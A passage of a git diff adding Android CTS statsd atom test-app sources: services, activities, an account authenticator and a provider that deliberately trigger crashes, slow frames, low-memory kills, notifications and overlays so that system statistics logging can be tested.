+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.widget.VideoView;
+import android.util.Log;
+
+
+public class DaveyActivity extends Activity {
+    private static final String TAG = "statsdDaveyActivity";
+
+    /** Called when the activity is first created. */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_davey);
+        DaveyView view = (DaveyView)findViewById(R.id.davey_view);
+        view.causeDavey(true);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyView.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyView.java
new file mode 100644
index 0000000..2de8814
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyView.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.view.View;
+import android.content.Context;
+import android.content.res.TypedArray;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Paint.FontMetrics;
+import android.os.SystemClock;
+import android.util.AttributeSet;
+import android.util.Log;
+
+
+public class DaveyView extends View {
+
+    private static final String TAG = "statsdDaveyView";
+
+    private static final long DAVEY_TIME_MS = 750; // A bit more than 700ms to be safe.
+    private boolean mCauseDavey;
+    private Paint mPaint;
+    private int mTexty;
+
+    public DaveyView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        TypedArray a = context.getTheme().obtainStyledAttributes(
+                attrs,
+                R.styleable.DaveyView,
+                0, 0);
+
+        try {
+            mCauseDavey = a.getBoolean(R.styleable.DaveyView_causeDavey, false);
+        } finally {
+            a.recycle();
+        }
+
+        mPaint = new Paint();
+        mPaint.setColor(Color.BLACK);
+        mPaint.setTextSize(20);
+        FontMetrics metric = mPaint.getFontMetrics();
+        int textHeight = (int) Math.ceil(metric.descent - metric.ascent);
+        mTexty = textHeight - (int) metric.descent;
+    }
+
+    public void causeDavey(boolean cause) {
+        mCauseDavey = cause;
+        invalidate();
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        super.onDraw(canvas);
+        if (mCauseDavey) {
+            canvas.drawText("Davey!", 0, mTexty, mPaint);
+            SystemClock.sleep(DAVEY_TIME_MS);
+            mCauseDavey = false;
+        } else {
+            canvas.drawText("No Davey", 0, mTexty, mPaint);
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DirectoryTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DirectoryTests.java
new file mode 100644
index 0000000..46f28ae
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DirectoryTests.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import org.junit.Test;
+
+import java.io.File;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+public class DirectoryTests {
+
+    @Test
+    public void testStatsActiveMetricDirectoryExists() {
+        final File f = new File("/data/misc/stats-active-metric/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+
+    @Test
+    public void testStatsDataDirectoryExists() {
+        final File f = new File("/data/misc/stats-data/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+
+    @Test
+    public void testStatsMetadataDirectoryExists() {
+        final File f = new File("/data/misc/stats-metadata/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+
+    @Test
+    public void testStatsServiceDirectoryExists() {
+        final File f = new File("/data/misc/stats-service/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+
+    @Test
+    public void testTrainInfoDirectoryExists() {
+        final File f = new File("/data/misc/train-info/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/IsolatedProcessService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/IsolatedProcessService.java
new file mode 100644
index 0000000..abc3a49
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/IsolatedProcessService.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.StatsLog;
+
+public class IsolatedProcessService extends Service {
+    private static final String TAG = "IsolatedProcessService";
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        StatsLog.logStart(/*label=*/0);
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/LmkVictimBackgroundService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/LmkVictimBackgroundService.java
new file mode 100644
index 0000000..0e97dbe
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/LmkVictimBackgroundService.java
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+public class LmkVictimBackgroundService extends StatsdCtsBackgroundService {}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdAuthenticator.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdAuthenticator.java
new file mode 100644
index 0000000..8a0eb3a
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdAuthenticator.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *          http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.Arrays;
+
+/**
+ * Authenticator for the sync test.
+ */
+public class StatsdAuthenticator extends Service {
+    private static final String TAG = "AtomTestsAuthenticator";
+
+    private static final String ACCOUNT_NAME = "StatsdCts";
+    private static final String ACCOUNT_TYPE = "com.android.cts.statsdatom";
+    private static Authenticator sInstance;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (sInstance == null) {
+            sInstance = new Authenticator(getApplicationContext());
+
+        }
+        return sInstance.getIBinder();
+    }
+
+    public static Account getTestAccount() {
+        return new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
+    }
+
+    /**
+     * Adds the test account, if it doesn't exist yet.
+     */
+    public static void ensureTestAccount(Context context) {
+        final Account account = getTestAccount();
+
+        Bundle result = new Bundle();
+        result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
+        result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
+
+        final AccountManager am = context.getSystemService(AccountManager.class);
+
+        if (!Arrays.asList(am.getAccountsByType(account.type)).contains(account) ){
+            am.addAccountExplicitly(account, "password", new Bundle());
+        }
+    }
+
+    /**
+     * Remove the test account.
+     */
+    public static void removeAllAccounts(Context context) {
+        final AccountManager am = context.getSystemService(AccountManager.class);
+
+        for (Account account : am.getAccountsByType(ACCOUNT_TYPE)) {
+            Log.i(TAG, "Removing " + account + "...");
+            am.removeAccountExplicitly(account);
+            Log.i(TAG, "Removed");
+        }
+    }
+
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private final Context mContxet;
+
+        public Authenticator(Context context) {
+            super(context);
+            mContxet = context;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+                String authTokenType, String[] requiredFeatures, Bundle options)
+                throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+                Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return "token_label";
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+                String[] features) throws NetworkErrorException {
+            return new Bundle();
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java
new file mode 100644
index 0000000..d7ac653
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.IntentService;
+import android.content.Intent;
+import android.util.Log;
+
+/** An service (to be run as a background process) which performs one of a number of actions. */
+public class StatsdCtsBackgroundService extends IntentService {
+    private static final String TAG = StatsdCtsBackgroundService.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
+    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
+
+    public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
+
+    public StatsdCtsBackgroundService() {
+        super(StatsdCtsBackgroundService.class.getName());
+    }
+
+    @Override
+    public void onHandleIntent(Intent intent) {
+        String action = intent.getStringExtra(KEY_ACTION);
+        Log.i(TAG, "Starting " + action + " from background service.");
+
+        switch (action) {
+            case ACTION_BACKGROUND_SLEEP:
+                AtomTests.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP);
+                break;
+            case ACTION_END_IMMEDIATELY:
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action");
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java
new file mode 100644
index 0000000..58db263
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.usage.NetworkStatsManager;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.net.ConnectivityManager;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+
+/** An activity (to be run as a foreground process) which performs one of a number of actions. */
+public class StatsdCtsForegroundActivity extends Activity {
+    private static final String TAG = StatsdCtsForegroundActivity.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_CRASH = "action.crash";
+    public static final String ACTION_NATIVE_CRASH = "action.native_crash";
+    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
+    public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+    public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
+    public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+    public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
+    public static final String ACTION_CREATE_CHANNEL_GROUP = "action.create_channel_group";
+    public static final String ACTION_POLL_NETWORK_STATS = "action.poll_network_stats";
+    public static final String ACTION_LMK = "action.lmk";
+
+    public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
+    public static final int SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY = 2_000;
+    public static final int LONG_SLEEP_WHILE_TOP = 60_000;
+
+    static {
+        System.loadLibrary("crashhelper");
+        System.loadLibrary("lmkhelper_statsdatom");
+    }
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        Intent intent = this.getIntent();
+        if (intent == null) {
+            Log.e(TAG, "Intent was null.");
+            finish();
+        }
+
+        String action = intent.getStringExtra(KEY_ACTION);
+        Log.i(TAG, "Starting " + action + " from foreground activity.");
+
+        switch (action) {
+            case ACTION_END_IMMEDIATELY:
+                finish();
+                break;
+            case ACTION_CRASH:
+                doCrash();
+                break;
+            case ACTION_NATIVE_CRASH:
+                doNativeCrash();
+                break;
+            case ACTION_SLEEP_WHILE_TOP:
+                doSleepWhileTop(SLEEP_OF_ACTION_SLEEP_WHILE_TOP);
+                break;
+            case ACTION_LONG_SLEEP_WHILE_TOP:
+                doSleepWhileTop(LONG_SLEEP_WHILE_TOP);
+                break;
+            case ACTION_SHOW_APPLICATION_OVERLAY:
+                doShowApplicationOverlay();
+                break;
+            case ACTION_SHOW_NOTIFICATION:
+                doShowNotification();
+                break;
+            case ACTION_CREATE_CHANNEL_GROUP:
+                doCreateChannelGroup();
+                break;
+            case ACTION_POLL_NETWORK_STATS:
+                doPollNetworkStats();
+                break;
+            case ACTION_LMK:
+                new Thread(this::cmain).start();
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action " + action);
+                finish();
+        }
+    }
+
+    /** Does nothing, but asynchronously. */
+    private void doSleepWhileTop(int sleepTime) {
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                AtomTests.sleep(sleepTime);
+                return null;
+            }
+
+            @Override
+            protected void onPostExecute(Void nothing) {
+                finish();
+            }
+        }.execute();
+    }
+
+    private void doShowApplicationOverlay() {
+        // Adapted from BatteryStatsBgVsFgActions.java.
+        final WindowManager wm = getSystemService(WindowManager.class);
+        Point size = new Point();
+        wm.getDefaultDisplay().getSize(size);
+
+        WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+                        | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                        | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+        wmlp.width = size.x / 4;
+        wmlp.height = size.y / 4;
+        wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
+        wmlp.setTitle(getPackageName());
+
+        ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+
+        View v = new View(this);
+        v.setBackgroundColor(Color.GREEN);
+        v.setLayoutParams(vglp);
+        wm.addView(v, wmlp);
+
+        // The overlay continues long after the finish. The following is just to end the activity.
+        AtomTests.sleep(SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY);
+        finish();
+    }
+
+    private void doShowNotification() {
+        final int notificationId = R.layout.activity_main;
+        final String notificationChannelId = "StatsdCtsChannel";
+
+        NotificationManager nm = getSystemService(NotificationManager.class);
+        NotificationChannel channel = new NotificationChannel(notificationChannelId, "Statsd Cts",
+                NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setDescription("Statsd Cts Channel");
+        nm.createNotificationChannel(channel);
+
+        nm.notify(
+                notificationId,
+                new Notification.Builder(this, notificationChannelId)
+                        .setSmallIcon(android.R.drawable.stat_notify_chat)
+                        .setContentTitle("StatsdCts")
+                        .setContentText("StatsdCts")
+                        .build());
+        nm.cancel(notificationId);
+        finish();
+    }
+
+    private void doCreateChannelGroup() {
+        NotificationManager nm = getSystemService(NotificationManager.class);
+        NotificationChannelGroup channelGroup = new NotificationChannelGroup("StatsdCtsGroup",
+                "Statsd Cts Group");
+        channelGroup.setDescription("StatsdCtsGroup Description");
+        nm.createNotificationChannelGroup(channelGroup);
+        finish();
+    }
+
+    // Trigger force poll on NetworkStatsService to make sure the service get most updated network
+    // stats from lower layer on subsequent verifications.
+    private void doPollNetworkStats() {
+        final NetworkStatsManager nsm =
+                (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
+
+        // While the flag of force polling is the only important thing needed when making binder
+        // call to service, the type, parameters and returned result of the query here do not
+        // matter.
+        try {
+            nsm.setPollForce(true);
+            nsm.querySummaryForUser(ConnectivityManager.TYPE_WIFI, null, Long.MIN_VALUE,
+                    Long.MAX_VALUE);
+        } catch (RemoteException e) {
+            Log.e(TAG, "doPollNetworkStats failed with " + e);
+        } finally {
+            finish();
+        }
+    }
+
+    @SuppressWarnings("ConstantOverflow")
+    private void doCrash() {
+        Log.e(TAG, "About to crash the app with 1/0 " + (long) 1 / 0);
+    }
+
+    private void doNativeCrash() {
+        Log.e(TAG, "About to segfault the app");
+        segfault();
+    }
+
+    private native void segfault();
+
+    /**
+     *  Keep allocating memory until the process is killed by LMKD.
+     **/
+    public native void cmain();
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundService.java
new file mode 100644
index 0000000..9345c21
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundService.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Process;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+public class StatsdCtsForegroundService extends Service {
+    private static final String TAG = "SimpleForegroundService";
+    private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
+
+    // TODO: pass this in from host side.
+    public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
+
+    private Looper mServiceLooper;
+    private ServiceHandler mServiceHandler;
+    private boolean mChannelCreated;
+
+    private final class ServiceHandler extends Handler {
+        public ServiceHandler(Looper looper) {
+            super(looper);
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            Log.i(TAG, "Handling message.");
+            // Sleep.
+            try {
+                Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE);
+            } catch (InterruptedException e) {
+                // Restore interrupt status.
+                Thread.currentThread().interrupt();
+            }
+            Log.i(TAG, "Stopping service.");
+            // Stop the service using the startId, so that we don't stop
+            // the service in the middle of handling another job
+            stopSelf(msg.arg1);
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        // Start up the thread running the service.  Note that we create a
+        // separate thread because the service normally runs in the process's
+        // main thread, which we don't want to block.  We also make it
+        // background priority so CPU-intensive work will not disrupt our UI.
+        HandlerThread thread = new HandlerThread("ServiceStartArguments",
+                Process.THREAD_PRIORITY_BACKGROUND);
+        thread.start();
+
+        // Get the HandlerThread's Looper and use it for our Handler
+        mServiceLooper = thread.getLooper();
+        mServiceHandler = new ServiceHandler(mServiceLooper);
+
+        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
+            return;
+        }
+        // OMR1 requires notification channel to be set
+        NotificationManager notificationManager =
+                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_HIGH);
+        notificationManager.createNotificationChannel(channel);
+        mChannelCreated = true;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setContentTitle("CTS Foreground")
+                .setSmallIcon(android.R.drawable.ic_secure)
+                .build();
+        Log.i(TAG, "Starting Foreground.");
+        startForeground(1, notification);
+
+        Message msg = mServiceHandler.obtainMessage();
+        msg.arg1 = startId;
+        mServiceHandler.sendMessage(msg);
+
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy () {
+        if (mChannelCreated) {
+            NotificationManager notificationManager =
+                    (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+            notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdJobService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdJobService.java
new file mode 100644
index 0000000..94d19ce
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdJobService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.Context;
+import android.os.Handler;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Handles callback from the framework {@link android.app.job.JobScheduler}.
+ * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
+ */
+@TargetApi(21)
+public class StatsdJobService extends JobService {
+  private static final String TAG = "AtomTestsJobService";
+
+  JobInfo mRunningJobInfo;
+  JobParameters mRunningParams;
+
+  private static final Object sLock = new Object();
+
+  @GuardedBy("sLock")
+  private static CountDownLatch sLatch;
+
+  final Handler mHandler = new Handler();
+  final Runnable mWorker = new Runnable() {
+    @Override public void run() {
+      try {
+        Thread.sleep(500);
+      } catch (InterruptedException e) {
+      }
+
+      jobFinished(mRunningParams, false);
+
+      synchronized (sLock) {
+        if (sLatch != null) {
+          sLatch.countDown();
+        }
+      }
+    }
+  };
+
+  public static synchronized CountDownLatch resetCountDownLatch() {
+    synchronized (sLock) {
+      if (sLatch == null || sLatch.getCount() == 0) {
+        sLatch = new CountDownLatch(1);
+      }
+    }
+    return sLatch;
+  }
+
+  @Override
+  public boolean onStartJob(JobParameters params) {
+    mRunningParams = params;
+    mHandler.post(mWorker);
+    return true;
+  }
+
+  @Override
+  public boolean onStopJob(JobParameters params) {
+    return false;
+  }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdProvider.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdProvider.java
new file mode 100644
index 0000000..db39a5b
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdProvider.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *          http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+/**
+ * Provider for the sync test.
+ */
+public class StatsdProvider extends ContentProvider {
+    public static final String AUTHORITY = "com.android.server.cts.device.statsdatom.provider";
+
+    @Override
+    public boolean onCreate() {
+        return false;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncAdapter.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncAdapter.java
new file mode 100644
index 0000000..d7c5829
--- /dev/null
